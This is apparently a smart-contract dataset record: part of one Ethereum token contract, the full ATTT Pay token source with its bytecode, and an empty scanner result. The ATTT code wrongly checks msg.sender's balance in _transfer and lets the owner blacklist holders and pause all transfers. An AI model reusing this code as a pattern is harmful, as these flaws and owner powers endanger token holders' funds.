Transfer(_from, _to, _value);
return true;
}
/**
* public transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint256 _value) internal returns (bool) {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balances[_from] >= _value);
// Check for overflows
require(balances[_to] + _value > balances[_to]);
// Save this for an assertion in the future
uint previousBalances = balances[_from].add(balances[_to]);
// Subtract from the sender
balances[_from] = balances[_from].sub(_value);
// Add the same to the recipient
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balances[_from] + balances[_to] == previousBalances);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function sendCrowdsaleBalance (address _address, uint256 _value) public {
require (msg.sender == crowdsaleContract);
require (_value <= balances[this]);
totalSupply = totalSupply.sub(_value);
balances[this] = balances[this].sub(_value);
balances[_address] = balances[_address].add(_value);
Transfer(this, _address, _value);
}
function sendOwnerBalance(address _address, uint _value) public onlyOwner {
uint256 value = _value * 10 ** uint(decimals);
require (value <= balances[this]);
balances[this] = balances[this].sub(value);
balances[_address] = balances[_address].add(value);
Transfer(this, _address, value);
}
function setCrowdsaleContract(address _address) public onlyOwner {
require(!flag);
crowdsaleContract = _address;
flag = true;
}
function removeCrowdsaleContract(address _address) public onlyOwner {
require(flag);
if(crowdsaleContract == _address) {
crowdsaleContract = address(0x0);
flag = false;
}
}
function GetcrowdsaleContract() public view returns(address) {
return crowdsaleContract;
}
}
|
0x6060604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461018f578063130985f4146101e957806318160ddd1461023e57806323b872dd1461026757806327e235e3146102e0578063313ce5671461032d57806340c3418c1461035c5780636596cff31461039e57806370a08231146103d7578063736cb0e2146104245780638da5cb5b1461046657806395d89b41146104bb578063a9059cbb14610549578063b20e5a79146105a3578063cdc3c07f146105d2578063dd62ed3e1461060b578063f2fde38b14610677575b600080fd5b341561010c57600080fd5b6101146106b0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610154578082015181840152602081019050610139565b50505050905090810190601f1680156101815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019a57600080fd5b6101cf600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061074e565b604051808215151515815260200191505060405180910390f35b34156101f457600080fd5b6101fc610840565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561024957600080fd5b61025161086a565b6040518082815260200191505060405180910390f35b341561027257600080fd5b6102c6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610874565b604051808215151515815260200191505060405180910390f35b34156102eb57600080fd5b610317600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c33565b6040518082815260200191505060405180910390f35b341561033857600080fd5b610340610c4b565b604051808260ff1660ff16815260200191505060405180910390f35b341561036757600080fd5b61039c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c5e565b005b34156103a957600080fd5b6103d5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610eb6565b005b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f8c565b6040518082815260200191505060405180910390f35b341561042f57600080fd5b610464600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fd5565b005b341561047157600080fd5b61047961122e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104c657600080fd5b6104ce611253565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561050e5780820151818401526020810190506104f3565b50505050905090810190601f16801561053b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561055457600080fd5b610589600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112f1565b604051808215151515815260200191505060405180910390f35b34156105ae57600080fd5b6105b6611515565b604051808260ff1660ff16815260200191505060405180910390f35b34156105dd57600080fd5b610609600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061152c565b005b341561061657600080fd5b610661600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611659565b6040518082815260200191505060405180910390f35b341561068257600080fd5b6106ae600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116e0565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107465780601f1061071b57610100808354040283529160200191610746565b820191906000526020600020905b81548152906001019060200180831161072957829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600654905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108b157600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108ff57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561098a57600080fd5b6109dc82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184e90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b4382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60016020528060005260406000206000915090505481565b600560009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cba57600080fd5b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610d0857600080fd5b610d1d8160065461183590919063ffffffff16565b600681905550610d7581600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183590919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e0a81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184e90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1157600080fd5b600760149054906101000a900460ff16151515610f2d57600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760146101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561103257600080fd5b600560009054906101000a900460ff1660ff16600a0a82029050600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561109a57600080fd5b6110ec81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183590919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061118181600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184e90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112e95780601f106112be576101008083540402835291602001916112e9565b820191906000526020600020905b8154815290600101906020018083116112cc57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561132e57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561137c57600080fd5b6113ce82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184e90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061146382600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183590919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600560009054906101000a900460ff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561158757600080fd5b600760149054906101000a900460ff1615156115a257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611656576000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600760146101000a81548160ff0219169083151502179055505b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561177757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561184357fe5b818303905092915050565b600080828401905083811015151561186257fe5b80915050929150505600a165627a7a723058203566f59d693a7dfc7830e61d0001fa31b209cb3c5bc2c5487064c9fc3d9d30eb0029
|
{"success": true, "error": null, "results": {}}
| 7,814 |
0x16d17cf453d9190a74ac216589f7e46ce36a28ea
|
/**
*Submitted for verification at Etherscan.io on 2021-08-04
*/
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnerLog(address indexed previousOwner, address indexed newOwner, bytes4 sig);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnerLog(owner, newOwner, msg.sig);
owner = newOwner;
}
}
contract ATTTPaused is Ownable {
bool public pauesed = false;
modifier isNotPaued {
require (!pauesed);
_;
}
function stop() onlyOwner public {
pauesed = true;
}
function start() onlyOwner public {
pauesed = false;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function _transfer(address _sender, address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[_sender] = balances[_sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
mapping(address => uint256) blackList;
function transfer(address _to, uint256 _value) public returns (bool) {
require(blackList[msg.sender] <= 0);
return _transfer(msg.sender, _to, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, ATTTPaused {
function transfer(address _to, uint256 _value) public isNotPaued returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public isNotPaued returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public isNotPaued returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public isNotPaued returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public isNotPaued returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract ATTTToken is PausableToken {
string public constant name = "ATTT Pay";
string public constant symbol = "ATTT";
uint public constant decimals = 18;
using SafeMath for uint256;
constructor (uint256 _totsupply) public {
totalSupply_ = _totsupply.mul(1e18);
balances[msg.sender] = totalSupply_;
}
function transfer(address _to, uint256 _value) isNotPaued public returns (bool) {
if(isBlackList(_to) == true || isBlackList(msg.sender) == true) {
revert();
} else {
return super.transfer(_to, _value);
}
}
function transferFrom(address _from, address _to, uint256 _value) isNotPaued public returns (bool) {
if(isBlackList(_to) == true || isBlackList(msg.sender) == true) {
revert();
} else {
return super.transferFrom(_from, _to, _value);
}
}
function setBlackList(bool bSet, address badAddress) public onlyOwner {
if (bSet == true) {
blackList[badAddress] = now;
} else {
if ( blackList[badAddress] > 0 ) {
delete blackList[badAddress];
}
}
}
function isBlackList(address badAddress) public view returns (bool) {
if ( blackList[badAddress] > 0 ) {
return true;
}
return false;
}
}
|
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301c58c341461010157806306fdde031461015057806307da68f5146101e0578063095ea7b3146101f757806318160ddd1461025c57806323b872dd14610287578063313ce5671461030c578063661884631461033757806370a082311461039c578063733f0e86146103f35780638da5cb5b1461042257806395d89b4114610479578063a9059cbb14610509578063b36d69191461056e578063be9a6555146105c9578063d73dd623146105e0578063dd62ed3e14610645578063f2fde38b146106bc575b600080fd5b34801561010d57600080fd5b5061014e600480360381019080803515159060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106ff565b005b34801561015c57600080fd5b50610165610842565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a557808201518184015260208101905061018a565b50505050905090810190601f1680156101d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ec57600080fd5b506101f561087b565b005b34801561020357600080fd5b50610242600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108f4565b604051808215151515815260200191505060405180910390f35b34801561026857600080fd5b50610271610924565b6040518082815260200191505060405180910390f35b34801561029357600080fd5b506102f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061092e565b604051808215151515815260200191505060405180910390f35b34801561031857600080fd5b50610321610991565b6040518082815260200191505060405180910390f35b34801561034357600080fd5b50610382600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610996565b604051808215151515815260200191505060405180910390f35b3480156103a857600080fd5b506103dd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109c6565b6040518082815260200191505060405180910390f35b3480156103ff57600080fd5b50610408610a0e565b604051808215151515815260200191505060405180910390f35b34801561042e57600080fd5b50610437610a21565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048557600080fd5b5061048e610a47565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ce5780820151818401526020810190506104b3565b50505050905090810190601f1680156104fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051557600080fd5b50610554600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a80565b604051808215151515815260200191505060405180910390f35b34801561057a57600080fd5b506105af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae1565b604051808215151515815260200191505060405180910390f35b3480156105d557600080fd5b506105de610b3d565b005b3480156105ec57600080fd5b5061062b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bb6565b604051808215151515815260200191505060405180910390f35b34801561065157600080fd5b506106a6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610be6565b6040518082815260200191505060405180910390f35b3480156106c857600080fd5b506106fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c6d565b005b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561075b57600080fd5b6001151582151514156107b15742600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061083e565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561083d57600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600090555b5b5050565b6040805190810160405280600881526020017f415454542050617900000000000000000000000000000000000000000000000081525081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108d757600080fd5b6001600460146101000a81548160ff021916908315150217905550565b6000600460149054906101000a900460ff1615151561091257600080fd5b61091c8383610e32565b905092915050565b6000600154905090565b6000600460149054906101000a900460ff1615151561094c57600080fd5b6001151561095984610ae1565b1515148061097357506001151561096f33610ae1565b1515145b1561097d57600080fd5b610988848484610f24565b90509392505050565b601281565b6000600460149054906101000a900460ff161515156109b457600080fd5b6109be8383610f56565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460149054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f415454540000000000000000000000000000000000000000000000000000000081525081565b6000600460149054906101000a900460ff16151515610a9e57600080fd5b60011515610aab84610ae1565b15151480610ac5575060011515610ac133610ae1565b1515145b15610acf57600080fd5b610ad983836111e7565b905092915050565b600080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610b335760019050610b38565b600090505b919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b9957600080fd5b6000600460146101000a81548160ff021916908315150217905550565b6000600460149054906101000a900460ff16151515610bd457600080fd5b610bde8383611217565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cc957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610d0557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8cc3473d76f967279609ef0cfc0fd750b056bdc0d7c3969099c5f17c5699b3fe6000357fffffffff000000000000000000000000000000000000000000000000000000001660405180827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390a380600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460149054906101000a900460ff16151515610f4257600080fd5b610f4d848484611413565b90509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611067576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110fb565b61107a83826117cd90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460149054906101000a900460ff1615151561120557600080fd5b61120f83836117e6565b905092915050565b60006112a882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373f